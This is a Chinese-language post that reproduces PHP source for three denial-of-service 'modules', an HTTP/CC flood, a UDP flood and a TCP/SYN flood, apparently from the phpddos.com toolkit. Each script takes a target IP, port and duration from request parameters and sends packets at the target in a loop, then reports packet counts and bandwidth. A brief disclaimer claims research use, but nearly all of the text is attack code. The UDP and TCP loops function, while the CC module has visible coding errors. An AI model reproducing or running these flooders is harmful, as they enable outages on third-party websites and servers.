网络安全向,请勿用作非法用途
CC攻击模块:
<?php
echo “状态 : 正常运行中…..<br>”;
echo “================================================<br>”;
echo ” <font color=blue>www.phpddos.com<br>”;
echo ” CC Flood 模块<br>”;
echo ” 作者:ybhacker<br>”;
echo ” 警告:本程序带有攻击性,仅供安全研究与教学之用,风险自负!</font><br>”;
echo “================================================<br><br>”;
error_reporting(E_ALL); //提示错误信息
set_time_limit(0); //设定一个程式所允许执行的秒数 0 是无限循环
ob_implicit_flush(); // 刷新输出缓冲
$address = $_POST[‘site’]; // 网站地址
$port = $_POST[‘port’]; // 端口
$dongu = $_POST[‘dongu’]; //循环次数
$sayi = 1;
while ( $sayi <= $dongu ) //变量asyi小于 循环次数变量 dongu 才会继续循环
{
if (($sock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP)) === false) {
echo “HaHa\n”;
}
if (socket_bind($sock, $address, $port) === false) { // 连接端口
echo “HaHa\n”;
}
if (socket_listen($sock, 5) === false) {
echo “HaHa\n”;
}
$msg = “HTTP/1.1 GET /\r\nHost:”+$_GET[‘site’]+”\r\nConnection: Keep-Alive\r\n”;
socket_write($msg);
socket_close($sock);
$sayi++; // 循环一次 变量sayi 加1
echo “Goodbye…”.$sayi; // 输出循环次数
}
?>
UDP攻击模块:
<?php
$packets = 0;
$ip = $_GET[‘ip’];
$port = $_GET[‘port’];
set_time_limit(0);
ignore_user_abort(FALSE);
$exec_time = $_GET[‘time’];
$time = time();
print “状态 : 正常运行中…..<br>”;
$max_time = $time+$exec_time;
for($i=0;$i<65535;$i++){
$out .= “phpddos”;
}
while(1){
$packets++;
if(time() > $max_time){
break;
}
$fp = fsockopen(“udp://$ip”, $port, $errno, $errstr, 5);
if($fp){
fwrite($fp, $out);
fclose($fp);
}
}
echo “================================================<br>”;
echo ” <font color=blue>www.phpddos.com<br>”;
echo ” 作者:ybhacker<br>”;
echo ” 警告:本程序带有攻击性,仅供安全研究与教学之用,风险自负!</font><br>”;
echo “================================================<br><br>”;
echo ” 攻击包总数:<font color=Red><span class=\”text\”>”.$packets.” 个数据包</span><br><br></font>”;
echo ” 攻击总流量:<font color=Red><span class=\”text\”>”.round(($packets*65*8)/(1024*1024),2).” Mbps</span><br><br></font>”;
echo ” 攻击总字节:<font color=Red><span class=\”text\”>”.time(‘h:i:s’).” 字节</span><br><br></font>”;
echo “Packet complete at “.time(‘h:i:s’).” with $packets (” .round(($packets*65*8)/(1024*1024),2). ” Mbps) packets averaging “. round($packets/$exec_time, 2) . ” packets/s \n”;
?>
TCP攻击模块:
<?php
ini_set(“display_errors”, “Off”);
$packets = 0;
$ip = $_GET[‘ip’];
$port = $_GET[‘port’];
set_time_limit(0);
ignore_user_abort(FALSE);
$exec_time = $_GET[‘time’];
$time = time();
print “状态 : 正常运行中…..<br>”;
$max_time = $time+$exec_time;
while(1){
$packets++;
if(time() > $max_time){
break;
}
$fp = fsockopen(“tcp://$ip”, $port,$errno,$errstr,0);
}
echo “================================================<br>”;
echo ” <font color=blue>www.phpddos.com<br>”;
echo ” SYN Flood 模块<br>”;
echo ” 作者:ybhacker<br>”;
echo ” 警告:本程序带有攻击性,仅供安全研究与教学之用,风险自负!</font><br>”;
echo “================================================<br><br>”;
echo ” 攻击包总数:<font color=Red><span class=\”text\”>”.$packets.” 个数据包</span><br><br></font>”;
echo ” 攻击总流量:<font color=Red><span class=\”text\”>”.round(($packets*65*8)/(1024*1024),2).” Mbps</span><br><br></font>”;
echo ” 攻击总字节:<font color=Red><span class=\”text\”>”.time(‘h:i:s’).” 字节</span><br><br></font>”;
echo “Packet complete at “.time(‘h:i:s’).” with $packets (” .round(($packets*65*8)/(1024*1024),2). ” Mbps) packets averaging “. round($packets/$exec_time, 2) . ” packets/s \n”;
?>